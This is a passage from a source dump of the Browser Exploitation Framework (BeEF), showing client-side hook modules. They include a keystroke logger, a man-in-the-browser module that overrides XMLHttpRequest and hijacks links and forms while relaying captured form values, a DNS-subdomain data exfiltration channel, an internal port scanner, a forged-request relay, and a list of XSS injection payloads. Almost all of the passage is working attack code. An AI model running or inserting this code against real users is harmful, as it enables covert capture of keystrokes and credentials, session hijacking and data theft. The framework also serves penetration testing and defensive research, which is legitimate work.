this.queue();\n            this.target = null;\n            beef.net.flush(function done() {\n                beef.debug(\"Submitting the form\");\n                beef.logger.in_submit = true;\n                jqForms.submit();\n                beef.logger.in_submit = false;\n                beef.debug(\"Done submitting\");\n            });\n            e.preventDefault();\n            return false;\n\t\t} catch(e) {}\n\t},\n\t\n\t/**\n\t * Pushes the current stream to the events queue\n\t */\n\tpush_stream: function() {\n\t\tif (this.stream.length > 0)\n\t\t{\n\t\t\tthis.events.push(beef.logger.parse_stream());\n\t\t\tthis.stream = [];\n\t\t}\n\t},\n\t\n\t/**\n\t * Translate DOM Object to a readable string\n\t */\n\tget_dom_identifier: function(target) {\n\t\ttarget = (target == null) ? this.target : target;\n\t\tvar id = '';\n\t\tif (target)\n\t\t{\n\t\t\tid = target.tagName.toLowerCase();\n\t\t\tid += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';\n\t\t\tid += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';\n\t\t}\n\t\treturn id;\n\t},\n\t\n\t/**\n\t * Formats the timestamp\n\t * @return {String} timestamp string\n\t */\n\tget_timestamp: function() {\n\t\tvar d = new Date();\n\t\treturn ((d.getTime() - this.time) / 1000).toFixed(3);\n\t},\n\t\n\t/**\n\t * Parses stream array and creates history string\n\t */\n\tparse_stream: function() {\n\t\tvar s = '';\n        var mods = '';\n\t\tfor (var i in this.stream){\n         try{\n            var mod = this.stream[i]['modifiers'];\n            s += String.fromCharCode(this.stream[i]['char']);\n            if(typeof mod != 'undefined' &&\n                      (mod['alt'] == true ||\n                      mod['ctrl'] == true ||\n                      mod['shift'] == true)){\n                mods += (mod['alt']) ? ' [Alt] ' : '';\n                mods += (mod['ctrl']) ? ' [Ctrl] ' : '';\n                mods += (mod['shift']) ? ' [Shift] ' : '';\n                mods += String.fromCharCode(this.stream[i]['char']);\n            }\n\n         }catch(e){}\n\t\t}\n        var k = new beef.logger.e();\n        k.type = 'keys';\n        k.target = beef.logger.get_dom_identifier();\n        k.data = s;\n        k.mods = mods;\n        return k;\n\t},\n\t\n\t/**\n\t * Queue results to be sent back to framework\n\t */\n\tqueue: function() {\n\t\tbeef.logger.push_stream();\n\t\tif (this.events.length > 0)\n\t\t{\n\t\t\tbeef.net.queue('/event', 0, this.events);\n\t\t\tthis.events = [];\n\t\t}\n\t}\n\t\t\n};\n\nbeef.regCmp('beef.logger');\n"
  },
  {
    "path": "core/main/client/mitb.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * @namespace beef.mitb\n */\nbeef.mitb = {\n\n    cid:null,\n    curl:null,\n\n    /** Initializes */ \n    init:function (cid, curl) {\n        beef.mitb.cid = cid;\n        beef.mitb.curl = curl;\n        /*Override open method to intercept ajax request*/\n        var hook_file = \"<%= @hook_file %>\";\n\n        if (window.XMLHttpRequest && !(window.ActiveXObject)) {\n\n            beef.mitb.sniff(\"Method XMLHttpRequest.open override\");\n            (function (open) {\n                XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {\n                    // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)\n                    // or a request initiated by the MiTB itself.\n                    if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf(\"/dh?\") != -1)) {\n                        open.call(this, method, url, async, true);\n                    }else {\n                        var portRegex = new RegExp(\":[0-9]+\");\n                        var portR = portRegex.exec(url);\n                        var requestPort;\n                        if (portR != null) { requestPort = portR[0].split(\":\")[1]; }\n\n                        //GET request\n                        if (method == \"GET\") {\n                            //GET request -> cross-origin\n                            if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {\n                                beef.mitb.sniff(\"GET [Ajax CrossOrigin Request]: \" + url);\n                                window.open(url);\n                            }else { //GET request -> same-origin\n                                beef.mitb.sniff(\"GET [Ajax Request]: \" + url);\n                                if (beef.mitb.fetch(url, document.getElementsByTagName(\"html\")[0])) {\n                                    var title = \"\";\n                                    if (document.getElementsByTagName(\"title\").length == 0) {\n                                        title = document.title;\n                                    } else {\n                                        title = document.getElementsByTagName(\"title\")[0].innerHTML;\n                                    }\n                                    // write the url of the page\n                                    history.pushState({ Be:\"EF\" }, title, url);\n                                }\n                            }\n                        }else{\n                            //POST request\n                            beef.mitb.sniff(\"POST ajax request to: \" + url);\n                            open.call(this, method, url, async, true);\n                        }\n                    }\n                };\n            })(XMLHttpRequest.prototype.open);\n        }\n    },\n\n    /** Initializes the hook on anchors and forms. */ \n    hook:function () {\n        beef.onpopstate.push(function (event) {\n            beef.mitb.fetch(document.location, document.getElementsByTagName(\"html\")[0]);\n        });\n        beef.onclose.push(function (event) {\n            beef.mitb.endSession();\n        });\n\n        var anchors = document.getElementsByTagName(\"a\");\n        var forms = document.getElementsByTagName(\"form\");\n        var lis = document.getElementsByTagName(\"li\");\n\n        for (var i = 0; i < anchors.length; i++) {\n            anchors[i].onclick = beef.mitb.poisonAnchor;\n        }\n        for (var i = 0; i < forms.length; i++) {\n            beef.mitb.poisonForm(forms[i]);\n        }\n\n        for (var i = 0; i < lis.length; i++) {\n            if (lis[i].hasAttribute(\"onclick\")) {\n                lis[i].removeAttribute(\"onclick\");\n                /*clear*/\n                lis[i].setAttribute(\"onclick\", \"beef.mitb.fetchOnclick('\" + lis[i].getElementsByTagName(\"a\")[0] + \"')\");\n                /*override*/\n\n            }\n        }\n    },\n\n    /** Hooks anchors and prevents them from linking away */\n    poisonAnchor:function (e) {\n        try {\n            e.preventDefault;\n            if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName(\"html\")[0])) {\n                var title = \"\";\n                if (document.getElementsByTagName(\"title\").length == 0) {\n                    title = document.title;\n                } else {\n                    title = document.getElementsByTagName(\"title\")[0].innerHTML;\n                }\n                history.pushState({ Be:\"EF\" }, title, e.currentTarget);\n            }\n        } catch (e) {\n            beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);\n        }\n        return false;\n    },\n\n    /** Hooks forms and prevents them from linking away */\n    poisonForm:function (form) {\n        form.onsubmit = function (e) {\n\n            // Collect <input> tags.\n            var inputs = form.getElementsByTagName(\"input\");\n            var query = \"\";\n            for (var i = 0; i < inputs.length; i++) {\n                switch (inputs[i].type) {\n                    case \"submit\":\n                        break;\n                    default:\n                        query += inputs[i].name + \"=\" + inputs[i].value + '&';\n                        break;\n                }\n            }\n\n            // Collect selected options from the form.\n            var selects = form.getElementsByTagName(\"select\");\n            for (var i = 0; i < selects.length; i++) {\n                var select = selects[i];\n                query += select.name + \"=\" + select.options[select.selectedIndex].value + '&';\n            }\n\n            // We should be gathering 'submit' inputs as well, as there are \n            // applications demanding this parameter.\n            var submit = $j('*[type=\"submit\"]', form);\n            if(submit.length) {\n                // Append name of the submit button/input.\n                query += submit.attr('name') + '=' + submit.attr('value');\n            }\n\n            if(query.slice(-1) == '&') {\n                query = query.slice(0, -1);\n            }\n\n            e.preventdefault;\n            beef.mitb.fetchForm(form.action, query, document.getElementsByTagName(\"html\")[0]);\n            history.pushState({ Be:\"EF\" }, \"\", form.action);\n            return false;\n        }\n    },\n\n    /** Fetches a hooked form with AJAX */ \n    fetchForm:function (url, query, target) {\n        try {\n            var y = new XMLHttpRequest();\n            y.open('POST', url, false, true);\n            y.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n            y.onreadystatechange = function () {\n                if (y.readyState == 4 && y.responseText != \"\") {\n                    target.innerHTML = y.responseText;\n                    setTimeout(beef.mitb.hook, 10);\n                }\n            };\n            y.send(query);\n            beef.mitb.sniff(\"POST: \" + url + \"[\" + query + \"]\");\n            return true;\n        } catch (x) {\n            return false;\n        }\n    },\n\n    /** Fetches a hooked link with AJAX */\n    fetch:function (url, target) {\n        try {\n            var y = new XMLHttpRequest();\n            y.open('GET', url, false, true);\n            y.onreadystatechange = function () {\n                if (y.readyState == 4 && y.responseText != \"\") {\n                    target.innerHTML = y.responseText;\n                    setTimeout(beef.mitb.hook, 10);\n                }\n            };\n            y.send(null);\n            beef.mitb.sniff(\"GET: \" + url);\n            return true;\n        } catch (x) {\n            window.open(url);\n            beef.mitb.sniff(\"GET [New Window]: \" + url);\n            return false;\n        }\n    },\n\n    /** Fetches a window.location=http://domainname.com and setting up history */ \n    fetchOnclick:function (url) {\n        try {\n            var target = document.getElementsByTagName(\"html\")[0];\n            var y = new XMLHttpRequest();\n            y.open('GET', url, false, true);\n            y.onreadystatechange = function () {\n                if (y.readyState == 4 && y.responseText != \"\") {\n                    var title = \"\";\n                    if (document.getElementsByTagName(\"title\").length == 0) {\n                        title = document.title;\n                    }\n                    else {\n                        title = document.getElementsByTagName(\"title\")[0].innerHTML;\n                        }\n                    history.pushState({ Be:\"EF\" }, title, url);\n                    target.innerHTML = y.responseText;\n                    setTimeout(beef.mitb.hook, 10);\n                }\n            };\n            y.send(null);\n            beef.mitb.sniff(\"GET: \" + url);\n\n        } catch (x) {\n            // the link is cross-origin, so load the resource in a different tab\n            window.open(url);\n            beef.mitb.sniff(\"GET [New Window]: \" + url);\n        }\n    },\n\n    /** Relays an entry to the framework */\n    sniff:function (result) {\n        try {\n            beef.net.send(beef.mitb.cid, beef.mitb.curl, result);\n        } catch (x) {\n        }\n        return true;\n    },\n\n    /** Signals the Framework that the user has lost the hook */\n    endSession:function () {\n        beef.mitb.sniff(\"Window closed.\");\n    }\n};\n\nbeef.regCmp('beef.mitb');\n"
  },
  {
    "path": "core/main/client/net/connection.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * beef.net.connection - wraps Mozilla's Network Information API\n * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation\n * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection\n * @namespace beef.net.connection\n */\nbeef.net.connection = {\n\n  /**\n   * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type\n   * @example beef.net.connection.type()\n   * @return {String} connection type or 'unknown'.\n   */\n  type: function () {\n    try {\n      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;\n      var type = connection.type;\n      if (/^[a-z]+$/.test(type)) return type; else return 'unknown';\n    } catch(e) {\n      beef.debug(\"Error retrieving connection type: \" + e.message);\n      return 'unknown';\n    }\n  },\n\n  /** \n   * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax\n   * @example beef.net.connection.downlinkMax()\n   * @return {String} downlink max or 'unknown'.\n   */\n  downlinkMax: function () {\n    try {\n      var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;\n      var max = connection.downlinkMax;\n      if (max) return max; else return 'unknown';\n    } catch(e) {\n      beef.debug(\"Error retrieving connection downlink max: \" + e.message);\n      return 'unknown';\n    }\n  }\n\n};\n\nbeef.regCmp('beef.net.connection');\n\n"
  },
  {
    "path": "core/main/client/net/cors.js",
    "content": "/**\n * @namespace beef.net.cors\n */\n\nbeef.net.cors = {\n\n  handler: \"cors\",\n\n    /**\n     * Response Object - used in the beef.net.request callback\n     */\n    response:function () {\n        this.status  = null;      // 500, 404, 200, 302, etc\n        this.headers = null;      // full response headers\n        this.body    = null;      // full response body\n    },\n\n    /**\n     * Make a cross-origin request using CORS\n     *\n     * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)\n     * @param url {String} url\n     * @param data {String} request body\n     * @param timeout {Integer} request timeout in milliseconds\n     * @param callback {Function} function to callback on completion\n     */\n    request: function(method, url, data, timeout, callback) {\n\n    var xhr;\n    var response = new this.response;\n\n    if (XMLHttpRequest) {\n        xhr = new XMLHttpRequest();\n\n        if ('withCredentials' in xhr) {\n            xhr.open(method, url, true);\n            xhr.timeout = parseInt(timeout, 10);\n            xhr.onerror = function() {\n            };\n            xhr.onreadystatechange = function() {\n                if (xhr.readyState === 4) {\n                    response.headers = this.getAllResponseHeaders()\n                    response.body    = this.responseText;\n                    response.status  = this.status;\n                    if (!!callback) {\n                        if (!!response) {\n                            callback(response);\n                        } else { \n                            callback('ERROR: No Response. CORS requests may be denied for this resource.')\n                        }\n                    }\n                }\n            };\n            xhr.send(data);\n        }\n    } else if (typeof XDomainRequest != \"undefined\") {\n        xhr = new XDomainRequest();\n        xhr.open(method, url);\n        xhr.onerror = function() {\n        };\n        xhr.onload = function() {\n            response.headers = this.getAllResponseHeaders()\n            response.body    = this.responseText;\n            response.status  = this.status;\n            if (!!callback) {\n                if (!!response) {\n                    callback(response);\n                } else {\n                    callback('ERROR: No Response. CORS requests may be denied for this resource.')\n                }\n            }\n        };\n        xhr.send(data);\n    } else {\n        if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');\n    }\n\n    }\n\n};\n\nbeef.regCmp('beef.net.cors');\n\n"
  },
  {
    "path": "core/main/client/net/dns.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * \n * request object structure:\n * + msgId: {Integer} Unique message ID for the request.\n * + domain: {String} Remote domain to retrieve the data.\n * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED\n * + callback: {Function} Callback function to receive the number of requests sent.\n * @namespace beef.net.dns\n */\n\nbeef.net.dns = {\n\n\thandler: \"dns\",\n    /**\n     * \n     * @param msgId \n     * @param data \n     * @param domain \n     * @param callback \n     */\n\tsend: function(msgId, data, domain, callback) {\n\n        var encode_data = function(str) {\n            var result=\"\";\n            for(i=0;i<str.length;++i) {\n                result+=str.charCodeAt(i).toString(16).toUpperCase();\n            }\n            return result;\n        };\n\n        var encodedData = encodeURI(encode_data(data));\n\n        beef.debug(encodedData);\n        beef.debug(\"_encodedData_ length: \" + encodedData.length);\n\n        // limitations to DNS according to RFC 1035:\n        // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters\n        // o Domain names are limited to 255 characters in length (including dots)\n        // o The name space has a maximum depth of 127 levels (ie, maximum 127 subdomains)\n        // o Subdomains are limited to 63 characters in length (including the trailing dot)\n\n        // DNS request structure:\n        // COMMAND_ID.SEQ_NUM.SEQ_TOT.DATA.DOMAIN\n      //max_length: 3.   3   .   3   . 63 . x\n\n        // only max_data_segment_length is currently used to split data into chunks. and only 1 chunk is used per request.\n        // for optimal performance, use the following vars and use the whole available space (which needs changes server-side too)\n        var reserved_seq_length = 3 + 3 + 3 + 3; // consider also 3 dots\n        var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers\n        var max_data_segment_length = 63; // by RFC\n\n        beef.debug(\"max_data_segment_length: \" + max_data_segment_length);\n\n        var dom = document.createElement('b');\n\n        String.prototype.chunk = function(n) {\n            if (typeof n=='undefined') n=100;\n            return this.match(RegExp('.{1,'+n+'}','g'));\n        };\n\n        var sendQuery = function(query) {\n            var img = new Image;\n            //img.src = \"http://\"+query;\n            img.src = beef.net.httpproto + \"://\" + query; // prevents issues with mixed content\n            img.onload = function() { dom.removeChild(this); }\n            img.onerror = function() { dom.removeChild(this); }\n            dom.appendChild(img);\n\n            //experimental\n            //setTimeout(function(){dom.removeChild(img)},1000);\n        };\n\n        var segments = encodedData.chunk(max_data_segment_length);\n\n        var ident = \"0xb3\"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request\n\n        beef.debug(segments.length);\n\n        for (var seq=1; seq<=segments.length; seq++) {\n            sendQuery(ident + msgId + \".\" + seq + \".\" + segments.length + \".\" + segments[seq-1] + \".\" + domain);\n        }\n\n\t\t// callback - returns the number of queries sent\n\t\tif (!!callback) callback(segments.length);\n\n\t}\n\n};\n\nbeef.regCmp('beef.net.dns');\n\n"
  },
  {
    "path": "core/main/client/net/local.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides networking functions for the local/internal network of the zombie.\n * @namespace beef.net.local\n */\nbeef.net.local = {\n\t\n\tsock: false,\n\tcheckJava: false,\n\thasJava: false,\n\t\n\t/**\n\t * Initializes the java socket. We have to use this method because\n\t * some browsers do not have java installed or it is not accessible.\n\t * in which case creating a socket directly generates an error. So this code\n\t * is invalid:\n\t * sock: new java.net.Socket();\n\t */\n\tinitializeSocket: function() {\n\t\tif(this.checkJava){\t\n\t\t\tif(!beef.browser.hasJava()) {\n\t\t\t\tthis.checkJava=True;\n\t\t\t\tthis.hasJava=False;\n\t\t\t\treturn -1;\n\t\t\t}else{\n\t\t\t\tthis.checkJava=True;\n\t\t\t\tthis.hasJava=True;\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\tif(!this.hasJava) return -1;\n\t\t\telse{\t\n\t\t\t\ttry {\n\t\t\t\t\tthis.sock = new java.net.Socket();\n\t\t\t\t} catch(e) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\treturn 1;\n\t\t\t}\n\t\t}\n\t},\n\t\n\t/**\n\t * Returns the internal IP address of the zombie.\n\t * @return {String} the internal ip of the zombie.\n\t * @error return -1 if the internal ip cannot be retrieved.\n\t */\n\tgetLocalAddress: function() {\n\t\tif(!this.hasJava) return false;\n\t\t\n\t\tthis.initializeSocket();\n\t\t\n\t\ttry {\n\t\t\tthis.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));\n\t\t\tthis.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));\n\t\t\t\n\t\t\treturn this.sock.getLocalAddress().getHostAddress();\n\t\t} catch(e) { return false; }\n\t},\n\t\n\t/**\n\t * Returns the internal hostname of the zombie.\n\t * @return {String} the internal hostname of the zombie.\n\t * @error return -1 if the hostname cannot be retrieved.\n\t */\n\tgetLocalHostname: function() {\n\t\tif(!this.hasJava) return false;\n\t\t\n\t\tthis.initializeSocket();\n\t\t\n\t\ttry {\n\t\t\tthis.sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));\n\t\t\tthis.sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));\n\t\t\t\n\t\t\treturn this.sock.getLocalAddress().getHostName();\n\t\t} catch(e) { return false; }\n\t}\n\t\n};\n\nbeef.regCmp('beef.net.local');\n"
  },
  {
    "path": "core/main/client/net/portscanner.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides port scanning functions for the zombie. A mod of pdp's scanner\n * \n * Version: '0.1',\n * author: 'Petko Petkov',\n * homepage: 'http://www.gnucitizen.org'\n * @namespace beef.net.portscanner\n */\n\nbeef.net.portscanner = {\n\n\t\t/**\n\t\t * \n\t\t * @param callback \n\t\t * @param target \n\t\t * @param port \n\t\t * @param timeout \n\t\t */\n\t\tscanPort: function(callback, target, port, timeout) \n\t\t{\n\t\t\tvar timeout = (timeout == null)?100:timeout;\n\t\t\tvar img = new Image();\n\n\t\t\timg.onerror = function () {\n\t\t\t\tif (!img) return;\n\t\t\t\timg = undefined;\n\t\t\t\tcallback(target, port, 'open');\n\t\t\t};\n\n\t\t\timg.onload  = img.onerror;\n\t\t\t\n\t\t\timg.src = 'http://' + target + ':' + port;\n\n\t\t\tsetTimeout(function () {\n\t\t\t\tif (!img) return;\n\t\t\t\timg = undefined;\n\t\t\t\tcallback(target, port, 'closed');\n\t\t\t}, timeout);\n\n\t\t},\n\t\t/**\n\t\t * \n\t\t * @param callback \n\t\t * @param target \n\t\t * @param ports_str \n\t\t * @param timeout \n\t\t */\n\t\tscanTarget: function(callback, target, ports_str, timeout)\n\t\t{\n\t\t\tvar ports = ports_str.split(\",\");\n\n\t\t\tfor (index = 0; index < ports.length; index++) {\n\t\t\t\tthis.scanPort(callback, target, ports[index], timeout);\n\t\t\t};\n\n\t\t}\n};\n\nbeef.regCmp('beef.net.portscanner');\n\n"
  },
  {
    "path": "core/main/client/net/requester.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * request object structure:\n * + method: {String} HTTP method to use (GET or POST).\n * + host: {String} hostname\n * + query_string: {String} The query string is a part of the URL which is passed to the program.\n * + uri: {String} The URI syntax consists of a URI scheme name.\n * + headers: {Array} contain the operating parameters of the HTTP request. \n * @namespace beef.net.requester\n */\nbeef.net.requester = {\n\t\n\thandler: \"requester\",\n\t/**\n     * \n     * @param {array} requests_array \n     */\n\tsend: function(requests_array) {\n        for(var i=0; i<requests_array.length; i++){\n            request = requests_array[i];\n            if (request.proto == 'https') var scheme = 'https'; else var scheme = 'http';\n            beef.debug('[Requester] ' + request.method + ' ' + scheme + '://' + request.host + ':' + request.port + request.uri + ' - Data: ' + request.data);\n            beef.net.forge_request(scheme, request.method, request.host, request.port, request.uri, null, request.headers, request.data, 10, null, request.allowCrossOrigin, request.id,\n                                       function(res, requestid) { beef.net.send('/requester', requestid, {\n                                           response_data: res.response_body,\n                                           response_status_code: res.status_code,\n                                           response_status_text: res.status_text,\n\t\t\t\t\t                       response_port_status: res.port_status,\n                                           response_headers: res.headers});\n                                       }\n                                 );\n        }\n    }\n};\n\nbeef.regCmp('beef.net.requester');\n"
  },
  {
    "path": "core/main/client/net/xssrays.js",
    "content": "/*\n * XSS Rays\n * Legal bit:\n * Do not remove this notice.\n * Copyright (c) 2009 by Gareth Heyes\n * Programmed for Microsoft\n * gareth --at-- businessinfo -dot- co |dot| uk\n * Version 0.5.5\n *\n * This license governs use of the accompanying software. If you use the software, you\n * accept this license. If you do not accept the license, do not use the software.\n * 1. Definitions\n * The terms \"reproduce,\" \"reproduction,\" \"derivative works,\" and \"distribution\" have the\n * same meaning here as under U.S. copyright law.\n * A \"contribution\" is the original software, or any additions or changes to the software.\n * A \"contributor\" is any person that distributes its contribution under this license.\n * \"Licensed patents\" are a contributor's patent claims that read directly on its contribution.\n * 2. Grant of Rights\n * (A) Copyright Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free copyright license to reproduce its contribution, prepare derivative works of its contribution, and distribute its contribution or any derivative works that you create.\n * (B) Patent Grant- Subject to the terms of this license, including the license conditions and limitations in section 3, each contributor grants you a non-exclusive, worldwide, royalty-free license under its licensed patents to make, have made, use, sell, offer for sale, import, and/or otherwise dispose of its contribution in the software or derivative works of the contribution in the software.\n * 3. Conditions and Limitations\n * (A) No Trademark License- This license does not grant you rights to use any contributors' name, logo, or trademarks.\n * (B) If you bring a patent claim against any contributor over patents that you claim are infringed by the software, your patent license from such contributor to the software ends automatically.\n * (C) If you distribute any portion of the software, you must retain all copyright, patent, trademark, and attribution notices that are present in the software.\n * (D) If you distribute any portion of the software in source code form, you may do so only under this license by including a complete copy of this license with your distribution. If you distribute any portion of the software in compiled or object code form, you may only do so under a license that complies with this license.\n * (E) The software is licensed \"as-is.\" You bear the risk of using it. The contributors give no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this license cannot change. To the extent permitted under your local laws, the contributors exclude the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\n */\n\n/**\n * XssRays 0.5.5 ported to BeEF by Michele \"antisnatchor\" Orru'\n * The XSS detection mechanisms has been rewritten from scratch: instead of using the location hash trick (that doesn't work anymore),\n * if the vulnerability is triggered the JS code vector will contact back BeEF.\n * Other aspects of the original code have been simplified and improved.\n * @namespace beef.net.xssrays\n */\nbeef.net.xssrays = {\n    handler: \"xssrays\",\n    completed:0,\n    totalConnections:0,\n\n    // BeEF variables\n    xssraysScanId : 0,\n    hookedBrowserSession: \"\",\n    beefRayUrl: \"\",\n    // the following variables are overridden via BeEF, in the Scan Config XssRays sub-tab. \n    crossDomain: false,\n    cleanUpTimeout:5000,\n\n    //browser-specific attack vectors available strings: ALL, FF, IE, S, C, O\n    vectors: [\n\n\t\t\t\t  {input:\"\\',XSS,\\'\", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\",XSS,\"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\'\"><script>XSS<\\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\'\"><body onload=\"XSS\">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:\"' style=abc:expression(XSS) ' \\\" style=abc:expression(XSS) \\\"\", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},\n\t\t\t\t  {input:'\" type=image src=null onerror=XSS \" \\' type=image src=null onerror=XSS \\'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:\"' onload='XSS' \\\" onload=\\\"XSS\\\"/onload=\\\"XSS\\\"/onload='XSS'/\", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\'\\\"<\\/script><\\/xml><\\/title><\\/textarea><\\/noscript><\\/style><\\/listing><\\/xmp><\\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:\"'},XSS,function x(){//\", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'\\\\x3c\\\\x73\\\\x63\\\\x72\\\\x69\\\\x70\\\\x74\\\\x3eXSS\\\\x3c\\\\x2f\\\\x73\\\\x63\\\\x72\\\\x69\\\\x70\\\\x74\\\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},\n  \t\t\t\t  {input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},\n  \t\t\t\t  {input:'null,XSS//', name: 'Unfiltered DOM injection comma', browser: 'ALL',url:true,form:true,path:true},\n\t\t\t\t  {input:'null\\nXSS//', name: 'Unfiltered DOM injection new line', browser: 'ALL',url:true,form:true,path:true}\n    ],\n    uniqueID: 0,\n    rays: [],\n    stack: [],\n\n    /**\n     * return true is the attack vector can be launched to the current browser type.\n     * @param {array} vector_array_index \n     */\n    checkBrowser:function(vector_array_index){\n        var result = false;\n        var browser_id = this.vectors[vector_array_index].browser;\n        switch (browser_id){\n        case \"ALL\":\n            result = true;\n            break;\n        case \"FF\":\n            if(beef.browser.isFF())result=true;\n            break;\n        case \"IE\":\n            if(beef.browser.isIE())result=true;\n            break;\n        case \"C\":\n            if(beef.browser.isC())result=true;\n            break;\n        case \"S\":\n            if(beef.browser.isS())result=true;\n            break;\n        case \"O\":\n            if(beef.browser.isO())result=true;\n            break;\n        default : result = false;\n        }\n        beef.debug(\"==== browser_id ==== [\" + browser_id + \"], result [\" + result + \"]\");\n        return result;\n    },\n\n    /**\n     * main function, where all starts :-)\n     * @param xssraysScanId \n     * @param hookedBrowserSession \n     * @param beefUrl \n     * @param crossDomain \n     * @param timeout \n     */\n    startScan:function(xssraysScanId, hookedBrowserSession, beefUrl, crossDomain, timeout) {\n\n        this.xssraysScanId = xssraysScanId;\n        this.hookedBrowserSession = hookedBrowserSession;\n        this.beefRayUrl = beefUrl + '/' + this.handler;\n        beef.debug(\"Using [\" + this.beefRayUrl  + \"] handler to contact back BeEF\");\n        this.crossDomain = crossDomain;\n        this.cleanUpTimeout = timeout;\n\n        this.scan();\n        beef.debug(\"Starting scan\");\n        this.runJobs();\n    },\n    complete:function() {\n        if (beef.net.xssrays.completed == beef.net.xssrays.totalConnections) 